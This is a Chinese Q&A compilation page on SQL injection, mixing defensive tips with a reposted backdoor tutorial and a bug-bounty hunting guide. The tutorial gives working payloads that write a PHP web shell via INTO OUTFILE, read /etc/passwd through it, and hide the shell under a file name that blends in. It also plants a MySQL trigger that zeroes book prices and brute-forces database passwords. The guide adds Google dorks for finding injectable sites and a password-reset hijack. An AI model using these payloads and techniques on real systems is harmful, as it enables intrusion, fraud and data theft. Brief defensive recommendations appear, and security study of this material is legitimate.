当前位置:首页 » 编程语言 » burpsql注入
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

burpsql注入

发布时间: 2023-05-24 15:42:26

‘壹’ 关于sql注入。

我还没进公司时,网站平均15天被注入一次,我进公司以后,大力整改,至今3个月,未见被注入。
我告诉你我的方法。
总结起来就是:关键词屏蔽或替换 + 参数法sql。
1.封装一个类,用来将传入的参数进行关键词的屏蔽和替换(像ID之类的参数,可以屏蔽关键词的就完全屏蔽,像textarea这样不能完全屏蔽的,就把关键词替换,如将半角的'替换成全角’。还要限制参数的字数(很重要)
2.将所有需要和数据库打交道的地方全部进行参数化sql。
如将sql="select * from table where id='"+value+"'"
改sql="select * from table where id=@id"
写一个类,里面专门存放参数法sql的各种方法,虽然会麻烦一些,但是非常非常有效,可以杜绝绝大多数sql注入。
这样,双管其下,基本可以防止sql注入了

‘贰’ sqlmap扫描到的sql注入,怎样解决

1、首先是burp设置记录log 2、把记录的log文件放sqlmap目录下 3、sqlmap读log自动测试: python sqlmap.py -l 文件名 --batch -smart batch:自动选yes。 smart:启发式快速判断,节约时间。 4、最后能注入的url会保存到out文件夹下。

‘叁’ 如何利用SQL注入制造一个后门

如何利用SQL注入制造一个后门

0×01,介绍…

0×02,什么是Sql Injection..

0×03,一个系统后门(OS)Backdoor.

0×04,获得一个OS Shell

0×05,一个数据库后门(Database backdoor).

0×07,推荐的防御措施…

0×08,结论…

0×09,参考…

0×01,介绍
如果你正在读这篇文章那么我有理由相信你曾经听说过一种病毒,或者是它一种特洛伊木马或者蠕虫,这类恶意程序可以感染你的计算机系统。一旦你的计算机系统被感染,那么当你使被感染的计算机连接到互联网,它很可能会去感染其他的计算机。许多时候,恶意软件不仅仅只是从一台计算机传播到另一台,他们会针对每一台感染的计算机进行自身的变异。这些变化将会让病毒远程的控制每一台计算机并使它们在之后感染更多的计算机系统。这些病毒第一次执行时会复制一个小型的可执行文件到用户的磁盘上,这个可执行文件仅仅会监听在当前计算机系统未使用的端口上从而恶意软件可以在被感染主机连入互联网的任意时刻访问这台主机。这个小的可执行文件叫做后门(Backdoor)。我在这里已经简要的说明了后门的概念。

0×02,什么是Sql Injection
已经有超过1百万的文章讲述了什么是Sql注入并且怎样去发现和怎样去避免这类威胁,所以我不想再次重复。如果你需要了解一些关于Sql注入的背景知识,这里有一个介绍性文章的连接可以供你阅读。这篇文章末尾我也提供了一些参考资料可以让你针对这篇文章所讨论的话题获得更多的知识信息。

0×03,一个系统后门(OS)Backdoor
这篇文章的目的是利用Sql Injection执行各种各样的命令最终控制操作系统。为了运行系统命令,我们需要一个CMD shell,或者需要执行一些代码使得我们可以执行OS命令。让我们分别尝试一下这两种方法。

0×04,获得一个OS Shell
现在我们将写我们自己的代码使之可以让我们运行任意OS命令来控制操作系统。所以,从之前的文章中我们已经知道搜索部分的变量存在Sql Injection并且在question表中存在4个列名。作为提示,语句Harry Potter’ union select 1,2,3,4#将会出现错误:

现在,我们想插入可以执行系统命令的PHP代码。为了实现这个目的,我们使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE,可以将查询的输出重定向到系统的文件中去。真因为如此,我们可以执行Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#,然后字符串‘TEXT INTO FILE’将会被存储在目录/tmp下的blah.txt中。如图:

现在我们将 ‘TEXT INTO FILE’替换成基本的PHP代码使之可以读取URL的参数来执行系统命令控制操作系统。我们使用这样的语句: Harry Potter’ union select “<?system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ,如图:

就是这样!但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为:

‘ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#并再次执行。

尽管这回还是返回了2和3,但是好多了。

现在我们访问execcmd.php并把命令[cat /etc.passwd]传递给我们想提交执行的参数。

成功了。通过我多次的尝试,这里有几点需要注意的事情。

–运行这条语句的数据库用户需要拥有FILE权限,否则不能执行INTO OUTFILE命令。

–在MySQL服务运行的主机中必须存在一个可写的Web目录,否则你不能访问你刚刚上传的Webshell。你可以将代码写入到总是可写的目录像/ttmp,但是你没有权限访问它。

一种简单的方式来实现OS Shell是使用SQLMap内置的特性。如果你读过我之前的文章,你会记得我使用过SQLMap。让我们通过SQLMap来完成同样的事情。

下面的OS shell截图是在使用SQLMap进行注入时加入了一个简单的参数并且在提示处选择了PHP Web Shell而获得的。

运行一个命令来检查我们是否已经获得了一个Shell。OK,没问题。

这实在是太容易了。

不幸的是,从‘破坏者’的角度来看这也同样是简单的。

现在有了这么简单快捷的方法你肯定不想再用之前的方法了,但是知道手动利用的方法总是有帮助的(这样当使用工具失败时你可以有另外的方法)。还有一件事需要注意,难获得了一

个WebShell时,请使用一个和Web目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的WebShell使之不会被管理员不经意间轻易的发现。

在开始下一类Backdoor之前,我将向你展示隐藏SQLMap的方法。你可以通过设置代理来运行SQLMap。

然后当SQLMap将实际的WebShell上传到可写目录的时候,brupSuite会拦截到一些请求,让我们看一下这些请求。

我们能看到一些熟悉的东西。让我们通过URL decode来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出SQLMap正在使用INTO OUTFILE命令,和我们之前人工使用的方法是一样的。

最后,我们看一下SQLMap上传WebShell的内容,非常有意思,看一下底部的面板。

这就是关键,工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。

0×05,一个数据库后门(Database backdoor)
现在我们知道一个OS后门可以在Web应用存在SQL Injection时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前,我们需要一些了解一下backdoor function的相关知识。在OS backdoor中,我们直接访问了后门并且传递给它了一个命令;但在这里却并不会那么直接。当我们每一个插入的操作执行时,我们配置的后门会改变数据库中一些敏感数据的值。所以,每一本书在添加到数据库中时价格会被我们的后门设置成0,以至于人们可以免费“购买”这些书籍。这在真实的环境中可能会很快被发现。

所以我们在数据库中有一些叫做“触发器”的东西,基本的意思就是——“当某些我们希望发生的事情发生时,触动触发器去做另外一些事情”。这描述的确实太模糊了,然我们举一个更明显的例子。假如你是一个警察,某一时刻你看到一个连环杀手,你扣动扳机并且发射出一枚子弹对么?那么把他转换为我们之前的场景——有一个INSERT语句(杀手),一个Database trigger(枪手)开火了,那么动作(action)就是释放你之前已经配置(configured)好的子弹(bullet)。

下面使我们要写的一个MySQL触发器的例子:

delimiter #

CREATE TRIGGER price BEFORE INSERT ON books

for each row begin

set new.price=’0′;

end;#

delimiter ;
b)无论任何时候如果我们执行一个Insert语句,比如假如一本书,那么我们设置其价格为0.下面是它的意思:

a)设置默认的MySQL分隔符为’#',因为默认的分隔符是’;'在MySQL作为特殊字符处理了,而我们需要将其作为数据处理。所以我们改变分隔符为’#',表示’#'现在有一个特殊的含义。

c)终止触发器并将分隔符重置为’;'。

然我们使用Sql Injection将触发器复制到服务器上。下面是要作为搜索框输入的语句:

Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 6d69746572203b#

我会快速解释一下这个查询语句—因为即使看起来它很复杂—其实不然。我们使用1=0因为我们对关于《Harry Potter》的查询结果并不感兴趣。0×20的位置只是查询了三次空格’space’;这是为了我可以仅仅得到想要重定向到文件’/var/www/test.g2′中的内容。然后LINES TERMINATED BY后面的部分是整个触发器使用hex函数转换后的形式(我是用的是Brup Decoder,不要坐在那儿浪费时间去手工转化它)。

让我们运行一下看看会在文件/var/www/test/g2中出现什么。

你注意到了最开始的几个空格了么?这就是我们之前看到的select 0×20,0×20,0×20的作用。之后的内容就显而易见了。

现在我们以某种方式执行这个查询然后我们的触发器会在每次一本书被插入时激活,这里有三种实现的方法。

a)多语句查询(Stacked Queries)—Harry Potter’ UNION blah blah blah;source /var/www/test/g2但是这事实上不会成功执行,因为PHP+MySQL不支持多语句查询。

b)滥用MySQL默认触发器行为(Abusing MySQL default trigger behavior)—这种方法我还没有测试过,不过在Stefano Di Paola的文章中被描述的非常清楚。尝试一下吧,我找时间也会测试一下。

c)使用SQL Injection工具比如SQLMap运行我们存放在/var/www/test/g2中保存的触发器。这是我们将要测试的方法。

我们来再次运行SQLMap并获得一个我们可以运行触发器的SQL shell。

看最后一行。不幸的是,只有当支持多语句查询时,这种方法才可以执行。这意味着上面的选项a,c意味着同一种情况。让我们通过代理来查看SQLMap的请求。

让我们在Sql-shell中执行一个简单的创建新数据库的语句—”create database boo;”并在Brup中查看。

我们可以看到,SQLMap尝试将它转换为一个SELECT查询。这将永远不会执行成功。从Burp相应的内容证实了这一点。

我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤:

—猜解一个有效MySQL用户的密码。例如,你猜到root的密码是test123

—注入一个OS webshell后门。

—注入一个类似之前格式的触发器。

—现在通过在Webshell中运行MySQL命令来安装触发器。

我有几张截图来说明为什么这样是可行的。为了照顾初学者,这里有张截图表名当前不存在任何触发器。

假设我们已经猜解到了用户名和密码root和toor(通过Blind SQL暴力猜解mysql.user表)。现在我们反问Web shell并传递一个命令:

mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2

现在我们再来看一下数据库。

看到了我们的触发器。

现在我们来运行一个INSERT查询来检查我们的触发器是否会运行。然后所有Jeffrey Archer的书的价格会变得非常不可思议。

现在执行查询:

看最后一行。某些人可以不用支付他本认为应该支付的价格了。

现在我们直接执行一个INSERT查询来控制数据库。在真实环境中将会有一个表单来添加书籍,在后端很可能会有一个INSERT查询,这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。

明显地,一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。

—想一些常用的数据库用户名(比如MySQL的root)或者通过社会工程学获得一些。

—MySQL密码是通过哈希加密的,并不是明文。

你可以通过以下两种方式破解密码:

—通过SQL Injection将密码的Hash与密码明文列表对比。(参考我之前的文章)

—在WebShell中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个Perl或者Ruby脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书,或者在每次猜解后找出那个密码是正确的。

mysql -uroot -ptoor blindsql_test< /var/www/test/g2

mysql -uroot -proot blindsql_test< /var/www/test/g2

mysql -uroot -ptest blindsql_test< /var/www/test/g2

mysql -uroot -ppassword blindsql_test< /var/www/test/g2

0×07,推荐的防御措施
a)使用参数化查询来防御SQL注入攻击。

b)不要在Web目录中存在大量可写目录。

c)限制Web应用在后端查询数据库的用户的权限。为了实现这一点,不要给其分配FILE权限。

d)设置复杂的数据库密码和健壮的密码策略。

0×08,结论
这个问题的根源,是Web应用存在Sql注入弱点。修复它将会阻止这种威胁的发生。然而,知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播;也需要采取措施来防止它们。

出自:http://www.freebuf.com/articles/222.html

‘肆’ brup suite 检测哪些web漏洞

网络发展至今,他的高端我们都见识过,但是网络安全也是一直以来不变的话题,怎样能使网络更加安全呢?如何构建一个安全的Web环境,是应该考虑的事情。该选择哪些安全工具呢?我们可以再危险发生之前,先测试一下自己系统中的漏洞。为大家推荐10大Web漏洞扫描程序。 1. Nikto 这是一个开源的Web服务器扫描程序,它可以对Web服务器的多种项目进行全面的测试。其扫描项目和插件经常更新并且可以自动更新。Nikto可以在尽可能短的周期内测试你的Web服务器,这在其日志文件中相当明显。不过,如果你想试验一下,它也可以支持 LibWhisker的反IDS方法。不过,并非每一次检查都可以找出一个安全问题,虽然多数情况下是这样的。有一些项目是仅提供信息类型的检查,这种检查可以查找一些并不存在安全漏洞的项目,不过Web管理员或安全工程师们并不知道。 2. Paros proxy 这是一个对Web应用程序的漏洞进行评估的代理程序,即一个基于Java的web代理程序,可以评估Web应用程序的漏洞。它支持动态地编辑/查看 HTTP/HTTPS,从而改变cookies和表单字段等项目。它包括一个Web通信记录程序,Web圈套程序,hash 计算器,还有一个可以测试常见的Web应用程序攻击的扫描器。 3. WebScarab: 它可以分析使用HTTP和HTTPS协议进行通信的应用程序,WebScarab可以用最简单地形式记录它观察的会话,并允许操作人员以各种方式观查会话。如果你需要观察一个基于HTTP(S)应用程序的运行状态,那么WebScarabi就可以满足你这种需要。不管是帮助开发人员调试其它方面的难题,还是允许安全专业人员识别漏洞,它都是一款不错的工具。 4. WebInspect: 这是一款强大的Web应用程序扫描程序。SPI Dynamics的这款应用程序安全评估工具有助于确认Web应用中已知的和未知的漏洞。它还可以检查一个Web服务器是否正确配置,并会尝试一些常见的 Web攻击,如参数注入、跨站脚本、目录遍历攻击等等。 5. Whisker/libwhisker : Libwhisker是一个Perla模块,适合于HTTP测试。它可以针对许多已知的安全漏洞,测试HTTP服务器,特别是检测危险CGI的存在。 Whisker是一个使用libwhisker的扫描程序。 6. Burpsuite: 这是一个可以用于攻击Web应用程序的集成平台。Burp套件允许一个攻击者将人工的和自动的技术结合起来,以列举、分析、攻击Web应用程序,或利用这些程序的漏洞。各种各样的burp工具协同工作,共享信息,并允许将一种工具发现的漏洞形成另外一种工具的基础。 7. Wikto: 可以说这是一个Web服务器评估工具,它可以检查Web服务器中的漏洞,并提供与Nikto一样的很多功能,但增加了许多有趣的功能部分,如后端 miner和紧密的Google集成。它为MS.NET环境编写,但用户需要注册才能下载其二进制文件和源代码。 8. Acunetix Web Vulnerability Scanner : 这是一款商业级的Web漏洞扫描程序,它可以检查Web应用程序中的漏洞,如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面,并且能够创建专业级的Web站点安全审核报告。 9. Watchfire AppScan: 这也是一款商业类的Web漏洞扫描程序。AppScan在应用程序的整个开发周期都提供安全测试,从而测试简化了部件测试和开发早期的安全保证。它可以扫描许多常见的漏洞,如跨站脚本攻击、HTTP响应拆分漏洞、参数篡改、隐式字段处理、后门/调试选项、缓冲区溢出等等。 10. N-Stealth: N-Stealth是一款商业级的Web服务器安全扫描程序。它比一些免费的Web扫描程序,如Whisker/libwhisker、 Nikto等的升级频率更高。还要注意,实际上所有通用的VA工具,如Nessus, ISS Internet Scanner, Retina, SAINT, Sara等都包含Web 扫描部件。N-Stealth主要为Windows平台提供扫描,但并不提供源代码。

‘伍’ sqlmap怎么注入sql server

当给sqlmap这么一个url的时候,它会:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。
测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

‘陆’ 一个完整挖洞/src漏洞实战流程【渗透测试】

只要搞渗透,不就会听到很多行业内人前辈一直在重复:“信息搜集” 信息搜集有多重要,你搜集的到的多少资产信息,决定了你后续进行的一系列实战到什么程度!

要说SQL注入的漏洞咋找,逻辑漏洞咋找,支付漏洞咋找,越权漏洞咋找,等等

实这都一个道理,用谷歌语法,找通杀用fofa,这里演示几个类型的漏洞,其它的也是一个道理。

第一个: SQL注入漏洞
AS:首先是SQL注入的,这个漏洞说实话,基本就是谷歌语法找的快,

语法: inurl:asp?id=23公司,这时候你会问:不是inurl:asp?id= 就行了吗,当然!

这可以!如果你想找到一些奇奇怪怪的站可以用这个,比如:

这时候明白接公司的重要性了吧,这里找的是asp的站,为啥找asp的站?

其中一一个最重要的原因就是因为他,好挖!

当然这里只是找了一小部分站点的, 如果突然发现重复了咋办?

这个简单,换个id就行了同学!

inurl:asp?id-34公司,这里的id 值不断的变变变就行了,你们也可以对比一下

这是不是就不一样了,当然如果有兴趣的话,也可以搜搜inurl :php?id=12公司

这也是可以找到很多站的,不过加WAF的几率很大

我找了10个9个都加过,所以说要想上分上的快,asp 的站绝对不能落下!

这里我就不多叙述,因为这站好找,真的特别好找,但是要想能弱密码进去的却很少

直接上镜像站一放inurl:什么牛鬼蛇神都出来了,这后台管理的站可以说是非常多了

当然如果不想找到国外其它奇奇怪怪的站点的话,建议加个关键词公司

可以看到这里一堆后台,当然要渗透这些后台弱密码很少能进去了

你看到我打inur1: 它自动给我补齐关键词了吗,说明这玩意很多人挖

一般搞后台,先信息收集,这个等会说,反正我是没搞到过几个

这种漏洞咋找?商城,积分商城。
试试谷歌语法: info:商城AND积分商城

这不全是商城吗,当然对于一些大厂, 建议不要去搞

因为防护也会比一般的站点比较严格,况且现在做在线网上商城的站点也很少了

其实可以在漏洞挖掘的时候注意一下站点是否有paypal这个功能,有的话,可以搞一搞的,这还是有搞头的

再来就是逻辑漏洞,比如说平行,垂直越权,任意密码重置啊什么的。这类漏洞还是很多的,大家也可以去慢慢测的!

最后一个,通杀的漏洞咋找?

这时候就是要靠我们万能的fofaQ了,首先我们要知道有哪些cms有漏洞

这里大家可以去找网上的漏洞库,里面- -般都会有漏洞合集和这里我稍后会给大家推荐一两个

看到没有,就是这么多cms,杀一个准,上分必备漏洞

不过有些重复提交了,可以给你们看看学员们的战果!

当然,重复了几个,但还是相当不错了。

看完开头,相信你已经知道怎么找漏洞了,那我们就说说漏洞如何挖掘,这里分事件型和通用型漏洞

首先来的,肯定是我们的sq1注入了,首先使用我们的通用语法inurl:asp?id=xx 公司

直接点进去,不要害怕,只要不违法,咱不干坏事就行

看到报错了,说明啥,说明可能存在注入啊朋友,直接and 1=1 |and 1=2插进去

经过一番寻找,我们来到了这个网站:

看到网站直接插单引号,看他报不报错

看到效果十分明显,这种情况直接丢sqlmap9 ,反正我是丢的sqlmap , 大家如果时间充足的话可以上手

下一个站,这个站存在的漏洞是任意密码重置和CSRF漏洞
首先是CSRF漏洞,相信不用我说你们也应该会了,这里就是这点出现漏洞

你们可以自己去测测,这里说我主要说的是任意密码重置漏洞
(这个漏洞现在也已经被修复了)

在这一步的时候, 抓个包

这里再改成自己的邮箱,这样自己的邮箱就能接收到验证链接,直接点击就好

看到这里,支付漏洞 和验证码绕过之类的逻辑漏洞是不是感觉+分的好挖,有没有这种感觉!

这里类型比较多,篇幅太长不好阅读。举例这两种做参考~

三、提交报告
例如.com发现了SQL注入
第一步:“标题”和“厂商信息”和“所属域名”
站长工具icp.chinaz.com/.co...
查询域名备案信息,看到这个公司名了吗

这样写
漏洞类别啥的,如果不是0day的话,像图中一样就行了

所属域名要写该公司的“网站首页”或者“官网”
看到这个了吗

漏洞类型: -般都是Web漏洞,然后漏洞是什么写什么,这里是一个SQL注入。

漏洞等级: SQL注入-般都是高危,但如果厂商比较小的话,会降级,降成中危。

漏洞简述:描述一下SQL注入是什么、 有什么危害之类的。

漏洞url:出现漏洞的URL。

影响参数:哪个参数可以注入就写哪个

漏洞POC请求包: Burp抓个包复制粘贴。

如果你嫌每次打字麻烦,可以新建一个记事本, 把框架写好,提交的时候替换一些内容就可以了。

把标题、漏洞简述、复现步骤、修复方案,把标题、漏洞简述、复现步骤、修复方案,可以省不少时间!

今天的内容虽然偏长,但是都是干货呀!从找漏洞到提交直接一步到位! 安排的明明白白!

注:任何未经授权的渗透都是违法行为,咱们挖SRC,担心会违法,记住一点, 点到为止,不要动里面的数据,发现漏洞之后,尽快提交漏洞,联系厂商进行修复。